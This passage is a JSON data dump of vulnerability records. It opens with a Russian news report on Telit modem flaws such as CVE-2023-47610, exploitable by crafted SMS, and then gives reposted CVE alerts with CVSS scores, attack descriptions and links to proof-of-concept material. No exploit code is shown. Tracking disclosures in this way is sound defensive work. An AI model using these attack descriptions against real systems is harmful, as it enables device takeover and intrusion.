\u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0438 \u043e \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u0430\u0445 \u0432 \u043d\u043e\u044f\u0431\u0440\u0435 \u043f\u0440\u043e\u0448\u043b\u043e\u0433\u043e \u0433\u043e\u0434\u0430, \u043f\u0440\u0435\u0434\u0432\u0430\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043f\u0440\u043e\u0438\u043d\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u0432 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0430.\n\n\u041d\u0430 \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446\u0438\u0438 OffensiveCon \u0432 \u0411\u0435\u0440\u043b\u0438\u043d\u0435 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0410\u043b\u0435\u043a\u0441\u0430\u043d\u0434\u0440 \u041a\u043e\u0437\u043b\u043e\u0432 \u0438 \u0421\u0435\u0440\u0433\u0435\u0439 \u0410\u043d\u0443\u0444\u0440\u0438\u0435\u043d\u043a\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u044f\u0442 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0434\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0438\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0437\u0430\u0445\u0432\u0430\u0442\u0438\u0442\u044c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c\u0438.\n\n\u041e\u0434\u043d\u0430 \u0438\u0437 \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, CVE-2023-47610 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 8.1), \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0441\u043e\u0431\u043e\u0439 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u0443\u0447\u0438 (Heap Overflow), \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0449\u0435\u0435 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0439 Secure User Plane Location (SUPL).\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u044b\u0445 SMS \u043c\u043e\u0436\u0435\u0442 \u0430\u043a\u0442\u0438\u0432\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u043c\u043e\u0434\u0435\u043c\u0435 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u041e\u0442\u043c\u0435\u0447\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u043e\u0431\u043c\u0435\u043d\u0430 SMS-\u0441\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u044f\u043c\u0438 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043d\u0430 \u0432\u0441\u0435\u0445 \u043c\u043e\u0434\u0435\u043c\u0430\u0445 \u0438 \u0447\u0442\u043e \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043d\u0435\u043c\u0443 \u0432\u043e\u0437\u043c\u043e\u0436\u0435\u043d, \u0435\u0441\u043b\u0438 \u0438\u0437\u0432\u0435\u0441\u0442\u0435\u043d \u0430\u0431\u043e\u043d\u0435\u043d\u0442\u0441\u043a\u0438\u0439 \u043d\u043e\u043c\u0435\u0440 \u0446\u0435\u043b\u0435\u0432\u043e\u0433\u043e \u043c\u043e\u0434\u0435\u043c\u0430 \u0432 \u0441\u0435\u0442\u0438 \u0441\u043e\u0442\u043e\u0432\u043e\u0433\u043e \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430. \u041e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0438\u0432\u0430\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 \u0431\u0438\u043d\u0430\u0440\u043d\u044b\u0445 SMS, \u043e\u0434\u043d\u0430\u043a\u043e \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0435 \u043f\u043e\u0434\u0434\u0435\u043b\u044c\u043d\u043e\u0439 \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u0441\u0442\u0430\u043d\u0446\u0438\u0438 \u043c\u043e\u0436\u0435\u0442 \u043e\u0431\u043e\u0439\u0442\u0438 \u044d\u0442\u043e \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.\n\n\u0412 \u0441\u043b\u0443\u0447\u0430\u0435 \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f CVE-2023-47610 \u043a\u0438\u0431\u0435\u0440\u043f\u0440\u0435\u0441\u0442\u0443\u043f\u043d\u0438\u043a \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u0433\u043b\u0443\u0431\u043e\u043a\u0438\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u043c\u043e\u0434\u0435\u043c\u0430, \u0447\u0442\u043e \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043e\u043f\u0435\u0440\u0430\u0442\u0438\u0432\u043d\u043e\u0439 \u0438 \u0444\u043b\u044d\u0448-\u043f\u0430\u043c\u044f\u0442\u044c\u044e \u0438 \u0437\u0430\u0445\u0432\u0430\u0442\u044b\u0432\u0430\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u043e\u043c \u043c\u043e\u0434\u0435\u043c\u0430.\n\n\u0414\u0440\u0443\u0433\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0445\u043e\u0442\u044f \u0438 \u043e\u0446\u0435\u043d\u0435\u043d\u044b \u043a\u0430\u043a \u043c\u0435\u043d\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435, \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044f \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 MIDlets \u2014 Java-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0441 \u0440\u0430\u0437\u043b\u0438\u0447\u043d\u044b\u043c\u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u044f\u043c\u0438. \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, CVE-2023-47611 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 \u043f\u0443\u0442\u0435\u043c \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0446\u0438\u0444\u0440\u043e\u0432\u043e\u0439 \u043f\u043e\u0434\u043f\u0438\u0441\u0438, \u0447\u0442\u043e \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u0442 \u0443\u0433\u0440\u043e\u0437\u0443 \u0434\u043b\u044f \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0441\u0442\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u0446\u0435\u043b\u043e\u0441\u0442\u043d\u043e\u0441\u0442\u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\u0425\u043e\u0442\u044f Telit \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0447\u0430\u0441\u0442\u044c \u0438\u0437 \u043d\u0438\u0445 \u043e\u0441\u0442\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u043c\u0438. \u0412 Kaspersky ICS CERT \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u0438\u0437-\u0437\u0430 \u0448\u0438\u0440\u043e\u043a\u043e\u0433\u043e \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u044b \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0433\u043b\u043e\u0431\u0430\u043b\u044c\u043d\u044b\u0435 \u043f\u043e\u0441\u043b\u0435\u0434\u0441\u0442\u0432\u0438\u044f.\n\n\u0414\u043b\u044f \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u0440\u0438\u0441\u043a\u043e\u0432 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u044b \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0441\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u0447\u0430\u0442\u044c \u0441 \u043e\u043f\u0435\u0440\u0430\u0442\u043e\u0440\u0430\u043c\u0438 \u0441\u0432\u044f\u0437\u0438, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0443 SMS \u043d\u0430 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0435 \u0447\u0430\u0441\u0442\u043d\u044b\u0435 APN (Access Point Name). \u0422\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0438\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043f\u043e\u0434\u043f\u0438\u0441\u0435\u0439 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439, \u0447\u0442\u043e\u0431\u044b \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0442\u0438\u0442\u044c \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0443 \u043d\u0435\u043d\u0430\u0434\u0435\u0436\u043d\u044b\u0445 MIDlets \u043d\u0430 \u043c\u043e\u0434\u0435\u043c\u044b \u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u044c \u043c\u0435\u0440\u044b \u043f\u0440\u043e\u0442\u0438\u0432 \u043d\u0435\u0441\u0430\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0444\u0438\u0437\u0438\u0447\u0435\u0441\u043a\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u043c.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-05-14T07:38:24.000000Z"}, {"uuid": "494a99d8-e1c6-4001-a038-a38ff2c9bf74", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47004", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/13907", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47004\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: Buffer Overflow vulnerability in Redis RedisGraph v.2.x through v.2.12.8 and fixed in v.2.12.9 allows an attacker to execute arbitrary code via the code logic after valid authentication.\n\ud83d\udccf Published: 2023-11-06T00:00:00.000Z\n\ud83d\udccf Modified: 2025-04-29T20:02:13.424Z\n\ud83d\udd17 References:\n1. https://github.com/RedisGraph/RedisGraph/issues/3178", "creation_timestamp": "2025-04-29T20:12:26.000000Z"}, {"uuid": "7335ac7c-5fc8-4dc4-acc5-bb346ef68ec3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47640", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/540", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47640\n\ud83d\udd39 Description: DataHub is an open-source metadata platform. The HMAC signature for DataHub Frontend sessions was being signed using a SHA-1 HMAC with the frontend secret key. SHA1 with a 10 byte key can be brute forced using sufficient resources (i.e. state level actors with large computational capabilities). DataHub Frontend was utilizing the Play LegacyCookiesModule with default settings which utilizes a SHA1 HMAC for signing. This is compounded by using a shorter key length than recommended by default for the signing key for the randomized secret value. An authenticated attacker (or attacker who has otherwise obtained a session token) could crack the signing key for DataHub and obtain escalated privileges by generating a privileged session cookie. Due to key length being a part of the risk, deployments should update to the latest helm chart and rotate their session signing secret. All deployments using the default helm chart configurations for generating the Play secret key used for signing are affected by this vulnerability. Version 0.11.1 resolves this vulnerability. All users are advised to upgrade. There are no known workarounds for this vulnerability.\n\ud83d\udccf Published: 2023-11-14T20:55:02.080Z\n\ud83d\udccf Modified: 2025-01-07T19:13:55.393Z\n\ud83d\udd17 References:\n1. https://github.com/datahub-project/datahub/security/advisories/GHSA-fg9x-wvqw-6gmw", "creation_timestamp": "2025-01-07T19:39:32.000000Z"}, {"uuid": "6402e68a-fcba-45a2-85f0-9ad3fb6de789", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47609", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/749", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47609\n\ud83d\udd39 Description: SQL injection vulnerability in OSS Calendar versions prior to v.2.0.3 allows a remote authenticated attacker to execute arbitrary code or obtain and/or alter the information stored in the database by sending a specially crafted request.\n\ud83d\udccf Published: 2023-11-14T05:12:19.484Z\n\ud83d\udccf Modified: 2025-01-08T16:44:16.361Z\n\ud83d\udd17 References:\n1. https://oss-calendar.com/news/20231113/\n2. https://jvn.jp/en/jp/JVN67822421/", "creation_timestamp": "2025-01-08T17:18:09.000000Z"}, {"uuid": "ecdd41a1-e85b-433d-b30f-8de404b1af92", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47795", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/3296", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47795\n\ud83d\udd25 CVSS Score: 9.7 (CVSS_V3)\n\ud83d\udd39 Description: Stored cross-site scripting (XSS) vulnerability in the Document and Media widget in Liferay Portal 7.4.3.18 through 7.4.3.101, and Liferay DXP 2023.Q3 before patch 6, and 7.4 update 18 through 92 allows remote authenticated users to inject arbitrary web script or HTML via a crafted payload injected into a document's \u201cTitle\u201d text field.\n\ud83d\udccf Published: 2024-02-21T15:30:45Z\n\ud83d\udccf Modified: 2025-01-28T22:23:40Z\n\ud83d\udd17 References:\n1. https://nvd.nist.gov/vuln/detail/CVE-2023-47795\n2. https://github.com/liferay/liferay-portal\n3. https://liferay.dev/portal/security/known-vulnerabilities/-/asset_publisher/jekt/content/cve-2023-47795", "creation_timestamp": "2025-01-28T23:09:41.000000Z"}, {"uuid": "255818e3-8328-4466-ac73-096d03e71e17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47634", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/4480", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47634\n\ud83d\udd25 CVSS Score: 3.0 (CVSS_V3)\n\ud83d\udd39 Description: ### Impact\n\nA race condition in the endorsement of resources (for instance, a proposal) allows a user to make more than once endorsement.\n\nTo exploit this vulnerability, the request to set an endorsement must be sent several times in parallel.\n \n### Workarounds\n\nDisable the Endorsement feature in the components.\n\ud83d\udccf Published: 2024-02-20T18:02:52Z\n\ud83d\udccf Modified: 2025-02-14T18:35:17Z\n\ud83d\udd17 References:\n1. https://github.com/decidim/decidim/security/advisories/GHSA-r275-j57c-7mf2\n2. https://nvd.nist.gov/vuln/detail/CVE-2023-47634\n3. https://github.com/decidim/decidim/commit/5c5ee7a50d75c10643dd8c495e2517641e4d74db\n4. https://github.com/decidim/decidim/commit/7b840d2c37a562709f4481db644d8c43add28536\n5. https://github.com/decidim/decidim\n6. https://github.com/decidim/decidim/releases/tag/v0.26.9\n7. https://github.com/decidim/decidim/releases/tag/v0.27.5\n8. https://github.com/decidim/decidim/releases/tag/v0.28.0\n9. https://github.com/rubysec/ruby-advisory-db/blob/master/gems/decidim/CVE-2023-47634.yml", "creation_timestamp": "2025-02-14T19:16:17.000000Z"}, {"uuid": "b466b9ca-a6c0-47b0-82a5-9bd79cb625ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47539", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8023", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47539\n\ud83d\udd25 CVSS Score: 9 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H/E:U/RL:X/RC:X)\n\ud83d\udd39 Description: An improper access control vulnerability in FortiMail version 7.4.0 configured with RADIUS authentication and remote_wildcard enabled may allow a remote unauthenticated attacker to bypass admin login via a crafted HTTP request.\n\ud83d\udccf Published: 2025-03-18T13:56:56.681Z\n\ud83d\udccf Modified: 2025-03-19T03:55:48.590Z\n\ud83d\udd17 References:\n1. https://fortiguard.com/psirt/FG-IR-23-439", "creation_timestamp": "2025-03-19T04:48:53.000000Z"}, {"uuid": "51138298-867d-4e08-914c-32700c329c40", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47216", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/12308", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47216\n\ud83d\udd25 CVSS Score: 2.9 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\ud83d\udd39 Description: \nin OpenHarmony v3.2.2 and prior versions allow a local attacker cause DOS through occupy all resources\n\n\n\ud83d\udccf Published: 2024-01-02T07:23:02.954Z\n\ud83d\udccf Modified: 2025-04-17T18:48:52.277Z\n\ud83d\udd17 References:\n1. https://gitee.com/openharmony/security/blob/master/zh/security-disclosure/2024/2024-01.md", "creation_timestamp": "2025-04-17T18:57:45.000000Z"}, {"uuid": "9b655d68-56a4-4c85-8645-91239cb65008", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47562", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15417", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47562\n\ud83d\udd25 CVSS Score: 7.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:L)\n\ud83d\udd39 Description: An OS command injection vulnerability has been reported to affect Photo Station. If exploited, the vulnerability could allow authenticated users to execute commands via a network.\n\nWe have already fixed the vulnerability in the following version:\nPhoto Station 6.4.2 ( 2023/12/15 ) and later\n\n\ud83d\udccf Published: 2024-02-02T16:05:48.610Z\n\ud83d\udccf Modified: 2025-05-07T20:07:46.277Z\n\ud83d\udd17 References:\n1. https://www.qnap.com/en/security-advisory/qsa-24-08", "creation_timestamp": "2025-05-07T20:22:59.000000Z"}, {"uuid": "57dc427b-28e1-4e0d-ad45-4193989b2d58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47029", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19620", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47029\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in NCR Terminal Handler v.1.5.1 allows a remote attacker to execute arbitrary code and obtain sensitive information via a crafted POST request to the UserService component\n\ud83d\udccf Published: 2025-06-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-26T15:08:53.266Z\n\ud83d\udd17 References:\n1. https://drive.google.com/file/d/1oX5uKnWGiYMaBxnBuqPiOA53XLxv1Ef4/view?usp=sharing\n2. https://github.com/pwahba/cve-research/blob/main/CVE-2023-47029/CVE-2023-47029.md", "creation_timestamp": "2025-06-26T15:52:47.000000Z"}, {"uuid": "450a737c-b146-4b16-9ce6-7b13c59b46ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47294", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19617", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47294\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An issue in NCR Terminal Handler v1.5.1 allows low-level privileged authenticated attackers to arbitrarily deactivate, lock, and delete user accounts via a crafted session cookie.\n\ud83d\udccf Published: 2025-06-23T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-26T15:11:39.439Z\n\ud83d\udd17 References:\n1. https://drive.google.com/file/d/1owG3_2oVpoCb34Mb7nCYZNrjW8cFxpzN/view?usp=sharing\n2. https://github.com/pwahba/cve-research/blob/main/CVE-2023-47294/CVE-2023-47294.md", "creation_timestamp": "2025-06-26T15:52:44.000000Z"}, {"uuid": "c86b0516-9cbb-49a7-8796-a7cb47f13bc5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47209", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/15792", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47209\n\ud83d\udd25 CVSS Score: 7.2 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A post authentication command injection vulnerability exists in the ipsec policy functionality of Tp-Link ER7206 Omada Gigabit VPN Router 1.3.0 build 20230322 Rel.70591. A specially crafted HTTP request can lead to arbitrary command injection. An attacker can make an authenticated HTTP request to trigger this vulnerability.\n\ud83d\udccf Published: 2024-02-06T16:20:14.973Z\n\ud83d\udccf Modified: 2025-05-09T16:25:32.088Z\n\ud83d\udd17 References:\n1. https://talosintelligence.com/vulnerability_reports/TALOS-2023-1854", "creation_timestamp": "2025-05-09T17:25:58.000000Z"}, {"uuid": "cf0f5755-b252-43e5-a9fe-b674f52bfcaf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47996", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/16377", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47996\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: An integer overflow vulnerability in Exif.cpp::jpeg_read_exif_dir in FreeImage 3.18.0 allows attackers to obtain information and cause a denial of service.\n\ud83d\udccf Published: 2024-01-09T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-14T19:13:44.642Z\n\ud83d\udd17 References:\n1. https://github.com/thelastede/FreeImage-cve-poc/tree/master/CVE-2023-47996", "creation_timestamp": "2025-05-14T19:33:00.000000Z"}, {"uuid": "90d41290-9ecc-4bd8-9333-b6877c7ecbfb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47100", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/19948", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47100\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: In Perl before 5.38.2, S_parse_uniprop_string in regcomp.c can write to unallocated space because a property name associated with a \\p{...} regular expression construct is mishandled. The earliest affected version is 5.30.0.\n\ud83d\udccf Published: 2023-12-02T00:00:00.000Z\n\ud83d\udccf Modified: 2025-06-30T16:17:21.753Z\n\ud83d\udd17 References:\n1. https://github.com/Perl/perl5/commit/ff1f9f59360afeebd6f75ca1502f5c3ebf077da3\n2. https://github.com/Perl/perl5/commit/7047915eef37fccd93e7cd985c29fe6be54650b6\n3. https://github.com/Perl/perl5/commit/12c313ce49b36160a7ca2e9b07ad5bd92ee4a010", "creation_timestamp": "2025-06-30T17:07:34.000000Z"}, {"uuid": "5f8c19ec-7b16-4e99-aa54-de57df0df66f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2023-47466", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/17294", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2023-47466\n\ud83d\udd25 CVSS Score: 2.9 (cvssV3_1, Vector: CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L)\n\ud83d\udd39 Description: TagLib before 2.0 allows a segmentation violation and application crash during tag writing via a crafted WAV file in which an id3 chunk is the only valid chunk.\n\ud83d\udccf Published: 2025-05-22T00:00:00.000Z\n\ud83d\udccf Modified: 2025-05-22T14:20:27.793Z\n\ud83d\udd17 References:\n1. 